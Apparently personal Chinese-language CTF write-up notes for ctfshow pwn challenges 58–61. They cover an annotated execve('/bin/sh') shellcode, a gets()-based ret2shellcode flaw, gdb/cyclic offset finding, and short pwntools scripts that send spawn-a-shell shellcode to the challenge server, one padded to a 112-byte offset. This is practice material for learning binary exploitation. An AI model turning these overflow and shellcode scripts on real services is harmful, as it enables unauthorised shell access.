文件类型: ELF64 (x86-64 可执行文件) 编译器: GNU C++ (实际手写汇编) 源代码: 'shellcode.asm' 属性: noreturn (不会正常返回,执行syscall后进程转变) 功能: 执行 execve("/bin/sh", NULL, NULL) 获取交互式shell
proc near ; 程序入口点,类似 main push rax ; [栈对齐] 压入 rax 使栈对齐16字节 xor rdx, rdx ; [envp] 清零 rdx,设置环境变量指针为 NULL xor rsi, rsi ; [argv] 清零 rsi,设置参数数组为 NULL mov rbx, 68732F2F6E69622Fh ; [字符串] rbx = "/bin//sh" 的ASCII十六进制 ; 小端序: 0x6E69622F="/bin", 0x68732F2F="//sh" push rbx ; [压栈] 将 "/bin//sh" 压入栈,rsp指向该字符串 push rsp ; [取地址] 压入 rsp(字符串地址),准备传给 rdi pop rdi ; [pathname] rdi = &("/bin/sh"),第一个参数 mov al, 3Bh ; ';' ; [系统调用号] al = 0x3B (59) = __NR_execve syscall ; [执行] 调用 execve("/bin/sh", NULL, NULL) ; 成功后当前进程替换为 /bin/sh,失败则返回 endp ends
|
pwn58

- ai教我下呜呜呜
- Ret2Shellcode类型
- 漏洞点 :程序使用了 gets 函数,它不检查输入长度,允许我们向栈上的缓冲区写入任意数据。
- 利用点 :程序在写入数据后,竟然主动调用了这段数据的地址( call eax )。
- 结论 :我们不需要计算复杂的偏移量去覆盖返回地址,只需要把 Shellcode (一段获取 Shell 的机器码)发送过去,程序就会自己跳过去执行它。
sub esp, 0Ch ; 调整栈顶准备传参 lea eax, [ebp+s] ; 【关键1】获取栈上局部变量 s 的地址 (s 是一个缓冲区) push eax ; 将 s 的地址压栈,作为 ctfshow 的参数 call ctfshow ; 【关键2】调用 ctfshow 函数 ; (根据之前分析,ctfshow 内部调用了 gets(s), ; 允许你往 s 指向的栈空间写入任意数据,如 Shellcode) add esp, 10h ; 平衡堆栈 lea eax, [ebp+s] ; 【关键3】再次获取变量 s 的地址,放入 eax call eax ; 【关键4】直接调用 eax!!! ; 这意味着 CPU 会跳转到 s 的地址去执行代码。 ; 因为刚才你通过 ctfshow 往 s 里写了 Shellcode, ; 这里就会直接运行你的 Shellcode。
|
from pwn import * context.log_level="debug" io=remote("pwn.challenge.ctf.show",28118) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
|
pwn59

from pwn import * context.log_level="debug" context.arch='amd64' io=remote("pwn.challenge.ctf.show",28288) shellcode=asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
|
pwn60


gdb pwn break main run vmmap
|

gdb pwn break main run vmmap cyclic 200 r < <(echo 'aaaabaaacaaadaaae...') c
info registers eip cyclic -l 0x62616164
|

- 找到偏移量112
- 从输入数据的第 1 个字节到覆盖返回地址之间的距离是 112 字节
from pwn import * context.log_level ="debug" context.arch = "i386" io=remote("pwn.challenge.ctf.show",28150) buf_addr=0x0804A080 shellcode=asm(shellcraft.sh()) payload=shellcode.ljust(112,b"a")+p32(buf_addr) io.sendline(payload) io.interactive()
|
pwn61


此外这边调用完gets函数之后啊,main函数下边有个leave
leave的作用相当于MOV SP,BP; POP BP。
因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节。
参考